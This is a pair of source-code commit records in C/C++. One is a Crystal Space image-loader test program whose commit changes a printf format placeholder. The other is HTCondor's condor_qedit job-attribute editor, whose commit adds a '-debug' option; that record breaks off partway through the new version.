0\n\/\/ PNM is a very simple format that is handy for quick-and-dirty programs.\n\/\/ Many image processing programs understands it...\nstatic bool SavePNM (const char *fname, void *image, int w, int h, bool rgb)\n{\n FILE *f = fopen (fname, \"wb\");\n if (!f)\n {\n fprintf (stderr, \"%s: cannot open output file %s\\n\", programname, fname);\n return false;\n }\n char header [100];\n sprintf (header, \"P%c\\n%d %d\\n%d\\n\", rgb ? '6' : '5', w, h, 255);\n fwrite (header, 1, strlen (header), f);\n if (rgb)\n for (int i = w * h; i > 0; i--)\n {\n fwrite (image, 1, 3, f);\n image = ((RGBPixel *)image) + 1;\n }\n else\n fwrite (image, 1, w * h, f);\n fclose (f);\n return true;\n}\n#endif\n\nstatic bool process_file (const char *fname)\n{\n printf (\"Loading file %s\\n\", fname);\n\n FILE *f = fopen (fname, \"rb\");\n if (!f)\n {\n printf (\"%s: cannot open file %s\\n\", programname, fname);\n return false;\n }\n\n fseek (f, 0, SEEK_END);\n size_t fsize = ftell (f);\n fseek (f, 0, SEEK_SET);\n\n if (opt.verbose)\n printf (\"Reading %ld bytes from file\\n\", fsize);\n\n UByte *buffer = new UByte [fsize];\n if (fread (buffer, 1, fsize, f) < fsize)\n {\n printf (\"%s: unexpected EOF while reading file %s\\n\", programname, fname);\n return false;\n }\n\n fclose (f);\n\n int fmt;\n if (opt.paletted)\n fmt = CS_IMGFMT_PALETTED8;\n else if (opt.truecolor)\n fmt = CS_IMGFMT_TRUECOLOR;\n else\n fmt = CS_IMGFMT_ANY;\n\n iImage *ifile = csImageLoader::Load (buffer, fsize, fmt | CS_IMGFMT_ALPHA);\n delete [] buffer;\n if (!ifile)\n {\n printf (\"%s: failed to recognise image format for %s\\n\", programname, fname);\n return false;\n }\n\n if (opt.verbose)\n {\n printf (\"Image size: %d x %d pixels, %d bytes\\n\", ifile->GetWidth (),\n ifile->GetHeight (), ifile->GetSize ());\n int fmt = ifile->GetFormat ();\n printf (\"Image format: %s, alpha channel: %s\\n\",\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_NONE ? \"none\" :\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_PALETTED8 ? \"paletted, 256 colors\" :\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR ? \"truecolor\" : \"unknown\",\n (fmt & CS_IMGFMT_ALPHA) ? \"present\" : \"not present\");\n }\n\n char suffix [20];\n suffix [0] = 0;\n\n if (opt.scaleX > 0 && opt.scaleY > 0)\n {\n printf (\"Rescaling image to %d x %d\\n\", opt.scaleX, opt.scaleY);\n ifile->Rescale (opt.scaleX, opt.scaleY);\n sprintf (strchr (suffix, 0), \"-s%dx%d\", opt.scaleX, opt.scaleY);\n }\n\n if (opt.mipmap >= 0)\n {\n printf (\"Creating mipmap level %d from image\\n\", opt.mipmap);\n iImage *ifile2 = ifile->MipMap (opt.mipmap,\n opt.transp ? &transpcolor : NULL);\n ifile->DecRef ();\n ifile = ifile2;\n sprintf (strchr (suffix, 0), \"-m%d\", opt.mipmap);\n }\n\n if (opt.save)\n {\n char outname [MAXPATHLEN + 1];\n strcpy (outname, fname);\n char *eol = strchr (outname, 0);\n while (eol > outname && *eol != '.') eol--;\n if (eol == outname) eol = strchr (outname, 0);\n strcpy (eol, suffix);\n strcat (eol, \".png\");\n printf (\"Saving output file %s\\n\", outname);\n\n#if 1\n if (!csSavePNG (outname, ifile))\n return false;\n#else\n if (!SavePNM (outname, ifile->GetImageData (), ifile->GetWidth (), ifile->GetHeight (),\n (ifile->GetFormat () & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR))\n return false;\n#endif\n }\n\n if (opt.display)\n {\n static char imgchr [] = \" .,;+*oO\";\n ifile->Rescale (opt.displayW, opt.displayH);\n RGBPixel *rgb;\n UByte *idx = NULL;\n bool truecolor = (ifile->GetFormat () & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR;\n if (truecolor)\n rgb = (RGBPixel *)ifile->GetImageData ();\n else\n {\n idx = (UByte *)ifile->GetImageData ();\n rgb = ifile->GetPalette ();\n }\n for (int y = 0; y < opt.displayH; y++)\n {\n for (int x = 0; x < opt.displayW; x++)\n {\n RGBPixel &src = truecolor ? *rgb++ : rgb [*idx++];\n int gray = int (sqrt (src.red * src.red + src.green * src.green +\n src.blue * src.blue) * 8 \/ 442);\n putc (imgchr [gray], stdout);\n }\n putc ('\\n', stdout);\n }\n }\n\n \/\/ Destroy the image object\n ifile->DecRef ();\n\n return true;\n}\n\nint main (int argc, char **argv)\n{\n#if defined (__EMX__)\t\/\/ Expand wildcards on OS\/2+GCC+EMX\n _wildcard (&argc, &argv);\n#endif\n\n programname = argv [0];\n\n int c;\n while ((c = getopt_long (argc, argv, \"8cd::s:m:t:hvV\", long_options, NULL)) != EOF)\n switch (c)\n {\n case '?':\n \/\/ unknown option\n return -1;\n case '8':\n opt.paletted = true;\n break;\n case 'c':\n opt.truecolor = true;\n break;\n case 'd':\n opt.dither = true;\n break;\n case 'D':\n opt.save = false;\n opt.display = true;\n if (optarg &&\n sscanf (optarg, \"%d,%d\", &opt.displayW, &opt.displayH) != 2)\n {\n printf (\"%s: expecting <width>,<height> after -d\\n\", programname);\n return -1;\n }\n break;\n case 's':\n if (sscanf (optarg, \"%d,%d\", &opt.scaleX, &opt.scaleY) != 2)\n {\n printf (\"%s: expecting <width>,<height> after -s\\n\", programname);\n return -1;\n }\n break;\n case 't':\n {\n opt.transp = true;\n int r,g,b;\n if (sscanf (optarg, \"%d,%d,%d\", &r, &g, &b) != 3)\n {\n printf (\"%s: expecting <R>,<G>,<B> after -t\\n\", programname);\n return -1;\n }\n transpcolor.red = r > 255 ? 255 : r < 0 ? 0 : r;\n transpcolor.green = g > 255 ? 255 : g < 0 ? 0 : g;\n transpcolor.blue = b > 255 ? 255 : b < 0 ? 0 : b;\n break;\n }\n case 'm':\n if (sscanf (optarg, \"%d\", &opt.mipmap) != 1)\n {\n printf (\"%s: expecting <mipmap level> which is one of 0,1,2,3 after -m\\n\", programname);\n return -1;\n }\n if (opt.mipmap < 0 || opt.mipmap > 3)\n {\n printf (\"%s: bad mipmap level (%d): should be one of 0,1,2,3\\n\", programname, opt.mipmap);\n return -1;\n }\n break;\n case 'h':\n return display_help ();\n case 'v':\n opt.verbose = true;\n break;\n case 'V':\n printf (\"%s version %s\\n\\n\", programname, programversion);\n printf (\"This program is distributed in the hope that it will be useful,\\n\");\n printf (\"but WITHOUT ANY WARRANTY; without even the implied warranty of\\n\");\n printf (\"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\\n\");\n printf (\"GNU Library General Public License for more details.\\n\");\n return 0;\n } \/* endswitch *\/\n\n if (optind >= argc)\n return display_help ();\n\n csImageLoader::SetDithering (opt.dither);\n\n for (; optind < argc; ++optind)\n if (!process_file (argv [optind]))\n return -1;\n\n return 0;\n}\n<commit_msg>%ld to %d placeholder change<commit_after>\/*\n\n Graphics File Loader: a test program for csgfxldr library\n Copyright (C) 2000 Andrew Zabolotny <bit@eltech.ru>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public\n License along with this library; if not, write to the Free\n Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n*\/\n\n#define SYSDEF_PATH\n#define SYSDEF_GETOPT\n#include \"sysdef.h\"\n#include \"csgfxldr\/csimage.h\"\n#include \"csgfxldr\/pngsave.h\"\n\n#include <string.h>\n\nchar *programversion = \"0.0.1\";\nchar *programname;\n\n\/*\n\n NOTE: If your Losing Operating System {tm} (R) does not have getopt_long,\n please use the one in support\/gnu instead. Please don't comment out blocks\n of code, dont #ifdef and so on. It is ugly.\n\n*\/\n\nstatic struct option long_options[] =\n{\n {\"help\", no_argument, 0, 'h'},\n {\"display\", optional_argument, 0, 'D'},\n {\"dither\", no_argument, 0, 'd'},\n {\"scale\", required_argument, 0, 's'},\n {\"mipmap\", required_argument, 0, 'm'},\n {\"transp\", required_argument, 0, 't'},\n {\"paletted\", no_argument, 0, '8'},\n {\"truecolor\", no_argument, 0, 'c'},\n {\"verbose\", no_argument, 0, 'v'},\n {\"version\", no_argument, 0, 'V'},\n {0, no_argument, 0, 0}\n};\n\nstatic struct\n{\n bool verbose;\n bool save;\n bool display;\n bool dither;\n bool paletted;\n bool truecolor;\n int scaleX, scaleY;\n int displayW, displayH;\n int mipmap;\n bool transp;\n} opt =\n{\n false,\n true,\n false,\n false,\n false,\n false,\n 0, 0,\n 79, 24,\n -1,\n false\n};\n\/\/ Dont move inside the struct!\nstatic RGBPixel transpcolor;\n\nstatic int display_help ()\n{\n printf (\"Crystal Space Graphics File Loader test application v%s\\n\", programversion);\n printf (\"Copyright (C) 2000 Andrew Zabolotny\\n\\n\");\n printf (\"Usage: %s {option\/s} [image file] [...]\\n\\n\", programname);\n printf (\" -D --display{=#,#} Display the image in ASCII format :-)\\n\");\n printf (\" -d --dither Apply Floyd-Steinberg dithering when reducing to 8 bpp\\n\");\n printf (\" -s --scale=#,# Re-scale the image to given size #\\n\");\n printf (\" -m --mipmap=# Create mipmap level # (=0,1,2,3) from image\\n\");\n printf (\" -t --transp=#,#,# Treat color (R,G,B) as transparent\\n\");\n printf (\" -8 --paletted Convert image to 8 bits-per-pixel paletted format\\n\");\n printf (\" -c --truecolor Convert image to truecolor format\\n\");\n printf (\" -h --help Display this help text\\n\");\n printf (\" -v --verbose Comment on what's happening\\n\");\n printf (\" -V --version Display program version\\n\");\n return 1;\n}\n\n#if 0\n\/\/ PNM is a very simple format that is handy for quick-and-dirty programs.\n\/\/ Many image processing programs understands it...\nstatic bool SavePNM (const char *fname, void *image, int w, int h, bool rgb)\n{\n FILE *f = fopen (fname, \"wb\");\n if (!f)\n {\n fprintf (stderr, \"%s: cannot open output file %s\\n\", programname, fname);\n return false;\n }\n char header [100];\n sprintf (header, \"P%c\\n%d %d\\n%d\\n\", rgb ? '6' : '5', w, h, 255);\n fwrite (header, 1, strlen (header), f);\n if (rgb)\n for (int i = w * h; i > 0; i--)\n {\n fwrite (image, 1, 3, f);\n image = ((RGBPixel *)image) + 1;\n }\n else\n fwrite (image, 1, w * h, f);\n fclose (f);\n return true;\n}\n#endif\n\nstatic bool process_file (const char *fname)\n{\n printf (\"Loading file %s\\n\", fname);\n\n FILE *f = fopen (fname, \"rb\");\n if (!f)\n {\n printf (\"%s: cannot open file %s\\n\", programname, fname);\n return false;\n }\n\n fseek (f, 0, SEEK_END);\n size_t fsize = ftell (f);\n fseek (f, 0, SEEK_SET);\n\n if (opt.verbose)\n printf (\"Reading %d bytes from file\\n\", fsize);\n\n UByte *buffer = new UByte [fsize];\n if (fread (buffer, 1, fsize, f) < fsize)\n {\n printf (\"%s: unexpected EOF while reading file %s\\n\", programname, fname);\n return false;\n }\n\n fclose (f);\n\n int fmt;\n if (opt.paletted)\n fmt = CS_IMGFMT_PALETTED8;\n else if (opt.truecolor)\n fmt = CS_IMGFMT_TRUECOLOR;\n else\n fmt = CS_IMGFMT_ANY;\n\n iImage *ifile = csImageLoader::Load (buffer, fsize, fmt | CS_IMGFMT_ALPHA);\n delete [] buffer;\n if (!ifile)\n {\n printf (\"%s: failed to recognise image format for %s\\n\", programname, fname);\n return false;\n }\n\n if (opt.verbose)\n {\n printf (\"Image size: %d x %d pixels, %d bytes\\n\", ifile->GetWidth (),\n ifile->GetHeight (), ifile->GetSize ());\n int fmt = ifile->GetFormat ();\n printf (\"Image format: %s, alpha channel: %s\\n\",\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_NONE ? \"none\" :\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_PALETTED8 ? \"paletted, 256 colors\" :\n (fmt & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR ? \"truecolor\" : \"unknown\",\n (fmt & CS_IMGFMT_ALPHA) ? \"present\" : \"not present\");\n }\n\n char suffix [20];\n suffix [0] = 0;\n\n if (opt.scaleX > 0 && opt.scaleY > 0)\n {\n printf (\"Rescaling image to %d x %d\\n\", opt.scaleX, opt.scaleY);\n ifile->Rescale (opt.scaleX, opt.scaleY);\n sprintf (strchr (suffix, 0), \"-s%dx%d\", opt.scaleX, opt.scaleY);\n }\n\n if (opt.mipmap >= 0)\n {\n printf (\"Creating mipmap level %d from image\\n\", opt.mipmap);\n iImage *ifile2 = ifile->MipMap (opt.mipmap,\n opt.transp ? &transpcolor : NULL);\n ifile->DecRef ();\n ifile = ifile2;\n sprintf (strchr (suffix, 0), \"-m%d\", opt.mipmap);\n }\n\n if (opt.save)\n {\n char outname [MAXPATHLEN + 1];\n strcpy (outname, fname);\n char *eol = strchr (outname, 0);\n while (eol > outname && *eol != '.') eol--;\n if (eol == outname) eol = strchr (outname, 0);\n strcpy (eol, suffix);\n strcat (eol, \".png\");\n printf (\"Saving output file %s\\n\", outname);\n\n#if 1\n if (!csSavePNG (outname, ifile))\n return false;\n#else\n if (!SavePNM (outname, ifile->GetImageData (), ifile->GetWidth (), ifile->GetHeight (),\n (ifile->GetFormat () & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR))\n return false;\n#endif\n }\n\n if (opt.display)\n {\n static char imgchr [] = \" .,;+*oO\";\n ifile->Rescale (opt.displayW, opt.displayH);\n RGBPixel *rgb;\n UByte *idx = NULL;\n bool truecolor = (ifile->GetFormat () & CS_IMGFMT_MASK) == CS_IMGFMT_TRUECOLOR;\n if (truecolor)\n rgb = (RGBPixel *)ifile->GetImageData ();\n else\n {\n idx = (UByte *)ifile->GetImageData ();\n rgb = ifile->GetPalette ();\n }\n for (int y = 0; y < opt.displayH; y++)\n {\n for (int x = 0; x < opt.displayW; x++)\n {\n RGBPixel &src = truecolor ? *rgb++ : rgb [*idx++];\n int gray = int (sqrt (src.red * src.red + src.green * src.green +\n src.blue * src.blue) * 8 \/ 442);\n putc (imgchr [gray], stdout);\n }\n putc ('\\n', stdout);\n }\n }\n\n \/\/ Destroy the image object\n ifile->DecRef ();\n\n return true;\n}\n\nint main (int argc, char **argv)\n{\n#if defined (__EMX__)\t\/\/ Expand wildcards on OS\/2+GCC+EMX\n _wildcard (&argc, &argv);\n#endif\n\n programname = argv [0];\n\n int c;\n while ((c = getopt_long (argc, argv, \"8cd::s:m:t:hvV\", long_options, NULL)) != EOF)\n switch (c)\n {\n case '?':\n \/\/ unknown option\n return -1;\n case '8':\n opt.paletted = true;\n break;\n case 'c':\n opt.truecolor = true;\n break;\n case 'd':\n opt.dither = true;\n break;\n case 'D':\n opt.save = false;\n opt.display = true;\n if (optarg &&\n sscanf (optarg, \"%d,%d\", &opt.displayW, &opt.displayH) != 2)\n {\n printf (\"%s: expecting <width>,<height> after -d\\n\", programname);\n return -1;\n }\n break;\n case 's':\n if (sscanf (optarg, \"%d,%d\", &opt.scaleX, &opt.scaleY) != 2)\n {\n printf (\"%s: expecting <width>,<height> after -s\\n\", programname);\n return -1;\n }\n break;\n case 't':\n {\n opt.transp = true;\n int r,g,b;\n if (sscanf (optarg, \"%d,%d,%d\", &r, &g, &b) != 3)\n {\n printf (\"%s: expecting <R>,<G>,<B> after -t\\n\", programname);\n return -1;\n }\n transpcolor.red = r > 255 ? 255 : r < 0 ? 0 : r;\n transpcolor.green = g > 255 ? 255 : g < 0 ? 0 : g;\n transpcolor.blue = b > 255 ? 255 : b < 0 ? 0 : b;\n break;\n }\n case 'm':\n if (sscanf (optarg, \"%d\", &opt.mipmap) != 1)\n {\n printf (\"%s: expecting <mipmap level> which is one of 0,1,2,3 after -m\\n\", programname);\n return -1;\n }\n if (opt.mipmap < 0 || opt.mipmap > 3)\n {\n printf (\"%s: bad mipmap level (%d): should be one of 0,1,2,3\\n\", programname, opt.mipmap);\n return -1;\n }\n break;\n case 'h':\n return display_help ();\n case 'v':\n opt.verbose = true;\n break;\n case 'V':\n printf (\"%s version %s\\n\\n\", programname, programversion);\n printf (\"This program is distributed in the hope that it will be useful,\\n\");\n printf (\"but WITHOUT ANY WARRANTY; without even the implied warranty of\\n\");\n printf (\"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\\n\");\n printf (\"GNU Library General Public License for more details.\\n\");\n return 0;\n } \/* endswitch *\/\n\n if (optind >= argc)\n return display_help ();\n\n csImageLoader::SetDithering (opt.dither);\n\n for (; optind < argc; ++optind)\n if (!process_file (argv [optind]))\n return -1;\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_classad.h\"\n#include \"condor_config.h\"\n#include \"condor_qmgr.h\"\n#include \"match_prefix.h\"\n#include \"sig_install.h\"\n#include \"get_daemon_name.h\"\n#include \"condor_attributes.h\"\n#include \"condor_distribution.h\"\n#include \"daemon.h\"\n#include \"dc_schedd.h\"\n#include \"MyString.h\"\n\nvoid\nusage(char name[])\n{\n\tfprintf(stderr, \"Usage: %s [-n schedd-name] [-pool pool-name] { cluster | cluster.proc | owner | -constraint constraint } attribute-name attribute-value ...\\n\", name);\n\texit(1);\n}\n\nbool\nProtectedAttribute(char attr[])\n{\n\treturn (strcmp(attr, ATTR_OWNER) == 0) ||\n\t\t(strcmp(attr, ATTR_CLUSTER_ID) == 0) ||\n\t\t(strcmp(attr, ATTR_PROC_ID) == 0) ||\n\t\t(strcmp(attr, ATTR_MY_TYPE) == 0) ||\n\t\t(strcmp(attr, ATTR_TARGET_TYPE) == 0) ||\n\t\t(strcmp(attr, ATTR_JOB_STATUS) == 0);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\tMyString constraint;\n\tQmgr_connection *q;\n\tint nextarg = 1, cluster, proc;\n\tbool UseConstraint = false;\n\tMyString schedd_name;\n\tMyString pool_name;\n\n\tmyDistro->Init( argc, argv );\n\tconfig();\n\n#if !defined(WIN32)\n\tinstall_sig_handler(SIGPIPE, SIG_IGN );\n#endif\n\n\tif (argc < 2) {\n\t\tusage(argv[0]);\n\t}\n\n\t\/\/ if it is present, it must be first\n\tif (argv[nextarg][0] == '-' && argv[nextarg][1] == 'n') {\n\t\tnextarg++;\n\t\t\/\/ use the given name as the schedd name to connect to\n\t\tif (argc <= nextarg) {\n\t\t\tfprintf(stderr, \"%s: -n requires another argument\\n\", \n\t\t\t\t\targv[0]);\n\t\t\texit(1);\n\t\t}\t\t\t\t\n\t\tschedd_name = argv[nextarg];\n\t\tnextarg++;\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\t\/\/ if it is present, it must be just after -n flag\n\tif (argv[nextarg][0] == '-' && argv[nextarg][1] == 'p') {\n\t\tnextarg++;\n\t\tif (argc <= nextarg) {\n\t\t\tfprintf(stderr, \"%s: -pool requires another argument\\n\", \n\t\t\t\t\targv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tpool_name = argv[nextarg];\n\t\tnextarg++;\n\t}\n\n\tDCSchedd schedd(schedd_name.GetCStr(), pool_name.GetCStr());\n\tif ( schedd.locate() == false ) {\n\t\tif (schedd_name == \"\") {\n\t\t\tfprintf( stderr, \"%s: ERROR: Can't find address of local schedd\\n\",\n\t\t\t\targv[0] );\n\t\t\texit(1);\n\t\t}\n\n\t\tif (pool_name == \"\") {\n\t\t\tfprintf( stderr, \"%s: No such schedd named %s in local pool\\n\",\n\t\t\t\targv[0], schedd_name.Value() );\n\t\t} else {\n\t\t\tfprintf( stderr, \"%s: No such schedd named %s in \"\n\t\t\t\t\"pool %s\\n\",\n\t\t\t\targv[0], schedd_name.Value(), pool_name.Value() );\n\t\t}\n\t\texit(1);\n\t}\n\n\t\/\/ Open job queue \n\tq = ConnectQ( schedd.addr() );\n\tif( !q ) {\n\t\tfprintf( stderr, \"Failed to connect to queue manager %s\\n\", \n\t\t\t\t schedd.addr() );\n\t\texit(1);\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\tif (match_prefix(argv[nextarg], \"-constraint\")) {\n\t\tnextarg++;\n\t\tif (argc <= nextarg) {\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tconstraint = argv[nextarg];\n\t\tnextarg++;\n\t\tUseConstraint = true;\n\t} else if (isdigit(argv[nextarg][0])) {\n\t\tchar *tmp;\n\t\tcluster = strtol(argv[nextarg], &tmp, 10);\n\t\tif (cluster <= 0) {\n\t\t\tfprintf( stderr, \"Invalid cluster # from %s.\\n\", argv[nextarg]);\n\t\t\texit(1);\n\t\t}\n\t\tif (*tmp == '.') {\n\t\t\tproc = strtol(tmp + 1, &tmp, 10);\n\t\t\tif (cluster <= 0) {\n\t\t\t\tfprintf( stderr, \"Invalid proc # from %s.\\n\", argv[nextarg]);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tUseConstraint = false;\n\t\t} else {\n\t\t\tconstraint.sprintf(\"(%s == %d)\", ATTR_CLUSTER_ID, cluster);\n\t\t\tUseConstraint = true;\n\t\t}\n\t\tnextarg++;\n\t} else {\n\t\tconstraint.sprintf(\"(%s == \\\"%s\\\")\", ATTR_OWNER, argv[nextarg]);\n\t\tnextarg++;\n\t\tUseConstraint = true;\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\tfor (; nextarg < argc; nextarg += 2) {\n\t\tif (argc <= nextarg+1) {\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tif (ProtectedAttribute(argv[nextarg])) {\n\t\t\tfprintf(stderr, \"Update of attribute \\\"%s\\\" is not allowed.\\n\",\n\t\t\t\t\targv[nextarg]);\n\t\t\texit(1);\n\t\t}\n\t\tif (UseConstraint) {\n\t\t\tif (SetAttributeByConstraint(constraint.Value(), argv[nextarg],\n\t\t\t\t\t\t\t\t\t\t argv[nextarg+1]) < 0) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\t\"Failed to set attribute \\\"%s\\\" by constraint: %s\\n\",\n\t\t\t\t\t\targv[nextarg], constraint.Value());\n\t\t\t\texit(1);\n\t\t\t}\n\t\t} else {\n\t\t\tif (SetAttribute(cluster, proc, argv[nextarg],\n\t\t\t\t\t\t\t argv[nextarg+1]) < 0) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\t\"Failed to set attribute \\\"%s\\\" for job %d.%d.\\n\",\n\t\t\t\t\t\targv[nextarg], cluster, proc);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\tprintf(\"Set attribute \\\"%s\\\".\\n\", argv[nextarg]);\n\t}\n\n\tif (!DisconnectQ(q)) {\n\t\tfprintf(stderr,\n\t\t\t\t\"Queue transaction failed. No attributes were set.\\n\");\n\t\texit(1);\n\t}\n\n\treturn 0;\n}\n\n#include \"daemon_core_stubs.h\"\n<commit_msg>added support for the \"-debug\" option to condor_qedit.<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_classad.h\"\n#include \"condor_debug.h\"\n#include \"condor_config.h\"\n#include \"condor_qmgr.h\"\n#include \"match_prefix.h\"\n#include \"sig_install.h\"\n#include \"get_daemon_name.h\"\n#include \"condor_attributes.h\"\n#include \"condor_distribution.h\"\n#include \"daemon.h\"\n#include \"dc_schedd.h\"\n#include \"MyString.h\"\n\nvoid\nusage(char name[])\n{\n\tfprintf(stderr, \"Usage: %s [-debug] [-n schedd-name] [-pool pool-name] { cluster | cluster.proc | owner | -constraint constraint } attribute-name attribute-value ...\\n\", name);\n\texit(1);\n}\n\nbool\nProtectedAttribute(char attr[])\n{\n\treturn (strcmp(attr, ATTR_OWNER) == 0) ||\n\t\t(strcmp(attr, ATTR_CLUSTER_ID) == 0) ||\n\t\t(strcmp(attr, ATTR_PROC_ID) == 0) ||\n\t\t(strcmp(attr, ATTR_MY_TYPE) == 0) ||\n\t\t(strcmp(attr, ATTR_TARGET_TYPE) == 0) ||\n\t\t(strcmp(attr, ATTR_JOB_STATUS) == 0);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\tMyString constraint;\n\tQmgr_connection *q;\n\tint nextarg = 1, cluster, proc;\n\tbool UseConstraint = false;\n\tMyString schedd_name;\n\tMyString pool_name;\n\n\tmyDistro->Init( argc, argv );\n\tconfig();\n\n#if !defined(WIN32)\n\tinstall_sig_handler(SIGPIPE, SIG_IGN );\n#endif\n\n\tif (argc < 2) {\n\t\tusage(argv[0]);\n\t}\n\n\t\/\/ if -debug is present, it must be first. sigh.\n\tif (argv[nextarg][0] == '-' && argv[nextarg][1] == 'd') {\n\t\t\/\/ output dprintf messages to stderror at TOOL_DEBUG level\n\t\tTermlog = 1;\n\t\tdprintf_config (\"TOOL\");\n\t\tnextarg++;\n\t}\n\n\t\/\/ if it is present, it must be first after debug.\n\tif (argv[nextarg][0] == '-' && argv[nextarg][1] == 'n') {\n\t\tnextarg++;\n\t\t\/\/ use the given name as the schedd name to connect to\n\t\tif (argc <= nextarg) {\n\t\t\tfprintf(stderr, \"%s: -n requires another argument\\n\", \n\t\t\t\t\targv[0]);\n\t\t\texit(1);\n\t\t}\t\t\t\t\n\t\tschedd_name = argv[nextarg];\n\t\tnextarg++;\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\t\/\/ if it is present, it must be just after -n flag\n\tif (argv[nextarg][0] == '-' && argv[nextarg][1] == 'p') {\n\t\tnextarg++;\n\t\tif (argc <= nextarg) {\n\t\t\tfprintf(stderr, \"%s: -pool requires another argument\\n\", \n\t\t\t\t\targv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tpool_name = argv[nextarg];\n\t\tnextarg++;\n\t}\n\n\tDCSchedd schedd(schedd_name.GetCStr(), pool_name.GetCStr());\n\tif ( schedd.locate() == false ) {\n\t\tif (schedd_name == \"\") {\n\t\t\tfprintf( stderr, \"%s: ERROR: Can't find address of local schedd\\n\",\n\t\t\t\targv[0] );\n\t\t\texit(1);\n\t\t}\n\n\t\tif (pool_name == \"\") {\n\t\t\tfprintf( stderr, \"%s: No such schedd named %s in local pool\\n\",\n\t\t\t\targv[0], schedd_name.Value() );\n\t\t} else {\n\t\t\tfprintf( stderr, \"%s: No such schedd named %s in \"\n\t\t\t\t\"pool %s\\n\",\n\t\t\t\targv[0], schedd_name.Value(), pool_name.Value() );\n\t\t}\n\t\texit(1);\n\t}\n\n\t\/\/ Open job queue \n\tq = ConnectQ( schedd.addr() );\n\tif( !q ) {\n\t\tfprintf( stderr, \"Failed to connect to queue manager %s\\n\", \n\t\t\t\t schedd.addr() );\n\t\texit(1);\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\tif (match_prefix(argv[nextarg], \"-constraint\")) {\n\t\tnextarg++;\n\t\tif (argc <= nextarg) {\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tconstraint = argv[nextarg];\n\t\tnextarg++;\n\t\tUseConstraint = true;\n\t} else if (isdigit(argv[nextarg][0])) {\n\t\tchar *tmp;\n\t\tcluster = strtol(argv[nextarg], &tmp, 10);\n\t\tif (cluster <= 0) {\n\t\t\tfprintf( stderr, \"Invalid cluster # from %s.\\n\", argv[nextarg]);\n\t\t\texit(1);\n\t\t}\n\t\tif (*tmp == '.') {\n\t\t\tproc = strtol(tmp + 1, &tmp, 10);\n\t\t\tif (cluster <= 0) {\n\t\t\t\tfprintf( stderr, \"Invalid proc # from %s.\\n\", argv[nextarg]);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tUseConstraint = false;\n\t\t} else {\n\t\t\tconstraint.sprintf(\"(%s == %d)\", ATTR_CLUSTER_ID, cluster);\n\t\t\tUseConstraint = true;\n\t\t}\n\t\tnextarg++;\n\t} else {\n\t\tconstraint.sprintf(\"(%s == \\\"%s\\\")\", ATTR_OWNER, argv[nextarg]);\n\t\tnextarg++;\n\t\tUseConstraint = true;\n\t}\n\n\tif (argc <= nextarg) {\n\t\tusage(argv[0]);\n\t}\n\n\tfor (; nextarg < argc; nextarg += 2) {\n\t\tif (argc <= nextarg+1) {\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tif (ProtectedAttribute(argv[nextarg])) {\n\t\t\tfprintf(stderr, \"Update of attribute \\\"%s\\\" is not allowed.\\n\",\n\t\t\t\t\targv[nextarg]);\n\t\t\texit(1);\n\t\t}\n\t\tif (UseConstraint) {\n\t\t\tif (SetAttributeByConstraint(constraint.Value(), 